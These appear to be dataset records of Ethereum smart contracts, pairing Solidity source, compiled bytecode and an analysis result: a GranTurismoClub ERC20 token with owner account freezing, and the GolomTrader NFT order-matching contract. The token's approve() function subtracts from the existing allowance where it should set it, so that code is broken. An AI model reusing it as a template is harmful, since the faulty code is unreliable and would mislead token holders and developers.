_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = SafeMath.safeSub(allowance[msg.sender][_spender], _value);
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply, _value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
totalSupply = SafeMath.safeSub(totalSupply, _value); // Updates totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* Gran Turismo Club TOKEN STARTS HERE */
/******************************************/
contract ClubToken is owned, TokenERC20 {
/// The full name of the CLUB token.
string public constant tokenName = "GranTurismoClub";
/// Symbol of the CLUB token.
string public constant tokenSymbol = "CLUB";
uint256 public initialSupply = 100000000;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function ClubToken() TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require(SafeMath.safeAdd(balanceOf[_to], _value) > balanceOf[_to]);
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
}
|
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cd57806323b872dd146101f4578063313ce5671461021e578063378dc3dc1461024957806342966c681461025e5780636c02a9311461027657806370a082311461028b57806379cc6790146102ac5780637b61c320146102d05780638da5cb5b146102e557806395d89b4114610316578063a9059cbb1461032b578063b414d4b61461034f578063cae9ca5114610370578063dd62ed3e146103d9578063e724529c14610400578063f2fde38b14610428575b600080fd5b34801561011757600080fd5b50610120610449565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015a578181015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a157600080fd5b506101b9600160a060020a03600435166024356104d6565b604080519115158252519081900360200190f35b3480156101d957600080fd5b506101e261056b565b60408051918252519081900360200190f35b34801561020057600080fd5b506101b9600160a060020a0360043581169060243516604435610571565b34801561022a57600080fd5b50610233610608565b6040805160ff9092168252519081900360200190f35b34801561025557600080fd5b506101e2610611565b34801561026a57600080fd5b506101b9600435610617565b34801561028257600080fd5b506101206106ab565b34801561029757600080fd5b506101e2600160a060020a03600435166106e2565b3480156102b857600080fd5b506101b9600160a060020a03600435166024356106f4565b3480156102dc57600080fd5b5061012061081f565b3480156102f157600080fd5b506102fa610856565b60408051600160a060020a039092168252519081900360200190f35b34801561032257600080fd5b50610120610865565b34801561033757600080fd5b506101b9600160a060020a03600435166024356108bd565b34801561035b57600080fd5b506101b9600160a060020a03600435166108d3565b34801561037c57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101b9948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108e89650505050505050565b3480156103e557600080fd5b506101e2600160a060020a0360043581169060243516610a01565b34801561040c57600080fd5b50610426600160a060020a03600435166024351515610a1e565b005b34801561043457600080fd5b50610426600160a060020a0360043516610a99565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104ce5780601f106104a3576101008083540402835291602001916104ce565b820191906000526020600020905b8154815290600101906020018083116104b157829003601f168201915b505050505081565b336000908152600660209081526040808320600160a060020a03861684529091528120546105049083610adf565b336000818152600660209081526040808320600160a060020a03891680855290835292819020949094558351868152935191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60045481565b600160a060020a03831660009081526006602090815260408083203384529091528120548211156105a157600080fd5b600160a060020a03841660009081526006602090815260408083203384529091529020546105cf9083610adf565b600160a060020a03851660009081526006602090815260408083203384529091529020556105fe848484610af3565b5060019392505050565b60035460ff1681565b60075481565b3360009081526005602052604081205482111561063357600080fd5b3360009081526005602052604090205461064d9083610adf565b3360009081526005602052604090205560045461066a9083610adf565b60045560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b60408051808201909152600f81527f4772616e54757269736d6f436c75620000000000000000000000000000000000602082015281565b60056020526000908152604090205481565b600160a060020a03821660009081526005602052604081205482111561071957600080fd5b600160a060020a038316600090815260066020908152604080832033845290915290205482111561074957600080fd5b600160a060020a03831660009081526005602052604090205461076c9083610adf565b600160a060020a03841660009081526005602090815260408083209390935560068152828220338352905220546107a39083610adf565b600160a060020a03841660009081526006602090815260408083203384529091529020556004546107d49083610adf565b600455604080518381529051600160a060020a038516917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250600192915050565b60408051808201909152600481527f434c554200000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104ce5780601f106104a3576101008083540402835291602001916104ce565b60006108ca338484610af3565b50600192915050565b60086020526000908152604090205460ff1681565b6000836108f581856104d6565b156109f9576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b8381101561098d578181015183820152602001610975565b50505050905090810190601f1680156109ba5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156109dc57600080fd5b505af11580156109f0573d6000803e3d6000fd5b50505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b600054600160a060020a03163314610a3557600080fd5b600160a060020a038216600081815260086020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a03163314610ab057600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000610aed83831115610c54565b50900390565b600160a060020a0382161515610b0857600080fd5b600160a060020a038316600090815260056020526040902054811115610b2d57600080fd5b600160a060020a038216600090815260056020526040902054610b508183610c63565b11610b5a57600080fd5b600160a060020a03831660009081526008602052604090205460ff1615610b8057600080fd5b600160a060020a03821660009081526008602052604090205460ff1615610ba657600080fd5b600160a060020a038316600090815260056020526040902054610bc99082610adf565b600160a060020a038085166000908152600560205260408082209390935590841681522054610bf89082610c63565b600160a060020a0380841660008181526005602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b801515610c6057600080fd5b50565b6000828201610c80848210801590610c7b5750838210155b610c54565b93925050505600a165627a7a723058203d9b19f0e513c209ae8ceb2ae765608cc2f26d6d47706e160fa2e76eaeee42a40029
|
{"success": true, "error": null, "results": {}}
| 8,225 |
0xdb454bee1c617edefc2c4b1b2a5a9c1d5a342338
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface ERC721 {
function safeTransferFrom(address from,address to,uint256 tokenId) external;
}
interface ERC20 {
function transferFrom(address src, address dst, uint wad)
external
returns (bool);
}
contract GolomTrader {
mapping(bytes32 => bool) public orderhashes; // keep tracks of orderhashes that are filled or cancelled so they cant be filled again
mapping(bytes32 => bool) public offerhashes; // keep tracks of offerhashes that are filled or cancelled so they cant be filled again
address payable owner;
ERC20 wethcontract;
event Orderfilled(address indexed from,address indexed to, bytes32 indexed id, uint amt,address referrer,uint feeAmt,uint royaltyAmt,address royaltyAddress,address buyerAddress);
event Offerfilled(address indexed from,address indexed to, bytes32 indexed id, uint amt,uint feeAmt,uint royaltyAmt,address royaltyAddress,uint isany);
event Ordercancelled(bytes32 indexed id);
event Offercancelled(bytes32 indexed id);
constructor ()
{
owner = payable(msg.sender);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
wethcontract = ERC20(WETH);
}
/// @notice returns eip712domainhash
function _eip712DomainHash() internal view returns(bytes32 eip712DomainHash) {
eip712DomainHash = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes("GOLOM.IO")),
keccak256(bytes("1")),
1,
address(this)
)
);
}
/// @notice order is a swap(erc721 -->eth) where maker is nft seller and taker is nft buyer
/// @param v,r,s EIP712 type signature of signer/nft seller
/// @param _addressArgs[5] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress // 4-buyerAddress
/// @dev uintArgs->//0-tokenId ,//1-totalAmt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
/// @dev totalAmt, totalAmt of ether in wei that the trade is done for , seller gets totalAmt-fees - royalty
/// @dev deadline, deadline till order is valid
/// @dev feeamt fee to be paid to owner of contract
/// @dev signer seller of nft and signer of signature
/// @dev salt salt for uniqueness of the order
/// @dev refferer address that reffered the trade
/// @dev buyerAddress address allowed to fill the order if (0) anyone can fill
function matchOrder(
uint8 v,
bytes32 r,
bytes32 s,
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) external payable {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
require(uint256(s) <= uint256(0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0),"found malleable signature, please insert a low-s signature");
require(v == 27 || v == 28, "Signature: Invalid v parameter");
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
if (_addressArgs[4]!=address(0)){
require(msg.sender==_addressArgs[4],"not fillable by this address");
}
require(msg.value == _uintArgs[1], "wrong eth amt");
require(orderhashes[hashStruct]==false,"order filled or cancelled");
orderhashes[hashStruct]=true; // prevent reentrency and also doesnt allow any order to be filled more then once
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(_addressArgs[1],msg.sender ,_uintArgs[0]); // transfer
if (_uintArgs[3]>0){
owner.transfer(_uintArgs[3]); // fee transfer to owner
}
if (_uintArgs[5]>0){ // if royalty has to be paid
payable(_addressArgs[2]).transfer(_uintArgs[5]); // royalty transfer to royaltyaddress
}
payable(_addressArgs[1]).transfer(msg.value-_uintArgs[3]-_uintArgs[5]); // transfer of eth to seller of nft
emit Orderfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] , _addressArgs[3] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],_addressArgs[4]);
}
/// @notice cancels order and make it unfillable
function cancelOrder(
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
msg.sender,
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
orderhashes[hashStruct]=true; // no need to check for signature validation since sender can only invalidate his own order
emit Ordercancelled(hashStruct);
}
/// @notice offer is a swap(erc721 -->eth) where maker is nft buyer and taker is nft seller , called by seller of ERc721NFT when he sees a signed buy offer of ethamt ETH
/// @param v,r,s EIP712 type signature of signer/nft buyer
/// @param _addressArgs[3] address arguments array
/// @param _uintArgs[7] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyaddress
/// @dev uintArgs->//0-tokenId ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt,//6-Isanytoken
/// @dev Isanytoken , if this is 1 then any token of the tokenAddress collection can be used to fill this offer
function matchOffer(
uint8 v,
bytes32 r,
bytes32 s,
address[3] calldata _addressArgs,
uint[7] calldata _uintArgs
) external {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct;
if (_uintArgs[6]==1){
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
require(uint256(s) <= uint256(0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0),"found malleable signature, please insert a low-s signature");
require(v == 27 || v == 28, "Signature: Invalid v parameter");
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
require(offerhashes[hashStruct]==false,"order filled or cancelled");
offerhashes[hashStruct]=true;
if (_uintArgs[3]>0){
require(wethcontract.transferFrom(_addressArgs[1], owner , _uintArgs[3]),"error in weth transfer");
}
if (_uintArgs[5]>0){
require(wethcontract.transferFrom(_addressArgs[1], _addressArgs[2] , _uintArgs[5]),"error in weth transfer");
}
require(wethcontract.transferFrom(_addressArgs[1], msg.sender, _uintArgs[1]-_uintArgs[5]-_uintArgs[3]),"error in weth transfer");
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(msg.sender,_addressArgs[1] ,_uintArgs[0]);
emit Offerfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],0);
}
/// @notice cancels order and make it unfillable
function cancelOffer(
address[3] calldata _addressArgs,
uint[7] calldata _uintArgs
) external{
bytes32 hashStruct;
if (_uintArgs[6]==1){
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
msg.sender,
_uintArgs[2],
_uintArgs[4]
)
);
}else{
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
msg.sender,
_uintArgs[2],
_uintArgs[4]
)
);
}
offerhashes[hashStruct]=true;
emit Offercancelled(hashStruct);
}
///@notice returns Keccak256 hash of an order
function orderHash(
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
}
function offerHash(
address[3] memory _addressArgs,
uint[7] memory _uintArgs
) public pure returns (bytes32) {
if (_uintArgs[6]==1){
return keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
return keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an offer
function orderStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (orderhashes[hashStruct]==true){
return 1;
}
return 3;
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an order
function offerStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[3] memory _addressArgs,
uint[7] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct;
if (_uintArgs[6]==1){
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (offerhashes[hashStruct]==true){
return 1;
}
return 3;
}
}
|
0x6080604052600436106100915760003560e01c8063477df01a11610059578063477df01a1461017e57806360de5fb2146101a757806361945964146101e457806362ff1a3714610221578063e347dcb01461025e57610091565b806303d0fbb9146100965780631a777dc7146100bf5780631faf0de6146100db57806332f203a614610118578063341b110814610155575b600080fd5b3480156100a257600080fd5b506100bd60048036038101906100b89190613fc2565b61029b565b005b6100d960048036038101906100d491906140b2565b611355565b005b3480156100e757600080fd5b5061010260048036038101906100fd9190613ef6565b6121fb565b60405161010f91906144e0565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a919061403a565b612662565b60405161014c91906147bc565b60405180910390f35b34801561016157600080fd5b5061017c60048036038101906101779190613f33565b612c62565b005b34801561018a57600080fd5b506101a560048036038101906101a09190613eb9565b612f76565b005b3480156101b357600080fd5b506101ce60048036038101906101c99190613f33565b6133d4565b6040516101db91906144e0565b60405180910390f35b3480156101f057600080fd5b5061020b600480360381019061020691906140b2565b6136dd565b60405161021891906147bc565b60405180910390f35b34801561022d57600080fd5b5061024860048036038101906102439190613f99565b613b8c565b60405161025591906144c5565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190613f99565b613bac565b60405161029291906144c5565b60405180910390f35b806002600781106102d5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135421061031b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103129061473c565b60405180910390fd5b6000600182600660078110610359577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135141561058e577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f068940826006600781106103bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135846000600381106103fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906104119190613e90565b8460016007811061044b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358560036007811061048a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135876001600381106104c9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906104dc9190613e90565b87600260078110610516577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600460078110610555577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013560405160200161057198979695949392919061454e565b6040516020818303038152906040528051906020012090506107b4565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b5826000600781106105e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060038110610628577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061063b9190613e90565b84600160078110610675577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600781106106b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135876001600381106106f3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906107069190613e90565b87600260078110610740577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358860046007811061077f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013560405160200161079b98979695949392919061454e565b6040516020818303038152906040528051906020012090505b7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08460001c111561081a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108119061479c565b60405180910390fd5b601b8660ff16148061082f5750601c8660ff16145b61086e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108659061477c565b60405180910390fd5b6000610878613bcc565b8260405160200161088a929190614420565b6040516020818303038152906040528051906020012090506000600182898989604051600081526020016040526040516108c79493929190614677565b6020604051602081039080840390855afa1580156108e9573d6000803e3d6000fd5b5050506020604051035190508460016003811061092f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906109429190613e90565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a6906146bc565b60405180910390fd5b600015156001600085815260200190815260200160002060009054906101000a900460ff16151514610a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0d9061471c565b60405180910390fd5b600180600085815260200190815260200160002060006101000a81548160ff021916908315150217905550600084600360078110610a7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115610c2557600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110610b00577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610b139190613e90565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687600360078110610b70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b8152600401610b9393929190614457565b602060405180830381600087803b158015610bad57600080fd5b505af1158015610bc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be59190613f70565b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b906146dc565b60405180910390fd5b5b600084600560078110610c61577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115610e3357600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110610ce4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610cf79190613e90565b87600260038110610d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610d449190613e90565b87600560078110610d7e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b8152600401610da19392919061448e565b602060405180830381600087803b158015610dbb57600080fd5b505af1158015610dcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df39190613f70565b610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e29906146dc565b60405180910390fd5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd86600160038110610eab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190610ebe9190613e90565b3387600360078110610ef9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600560078110610f38577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013589600160078110610f77577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135610f869190614924565b610f909190614924565b6040518463ffffffff1660e01b8152600401610fae9392919061448e565b602060405180830381600087803b158015610fc857600080fd5b505af1158015610fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110009190613f70565b61103f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611036906146dc565b60405180910390fd5b60008560006003811061107b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061108e9190613e90565b90508073ffffffffffffffffffffffffffffffffffffffff166342842e0e33886001600381106110e7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906110fa9190613e90565b88600060078110611134577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b81526004016111579392919061448e565b600060405180830381600087803b15801561117157600080fd5b505af1158015611185573d6000803e3d6000fd5b50505050833373ffffffffffffffffffffffffffffffffffffffff16876001600381106111db577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906111ee9190613e90565b73ffffffffffffffffffffffffffffffffffffffff167fa7d8f91a29a74a964eb806fe7ae08aa76f1b7df083c6371e800d06463644743d8860016007811061125f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358960036007811061129e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358a6005600781106112dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358c60026003811061131c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061132f9190613e90565b6000604051611342959493929190614838565b60405180910390a4505050505050505050565b8060026006811061138f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013542106113d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cc9061473c565b60405180910390fd5b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf7582600060068110611432577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060058110611471577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b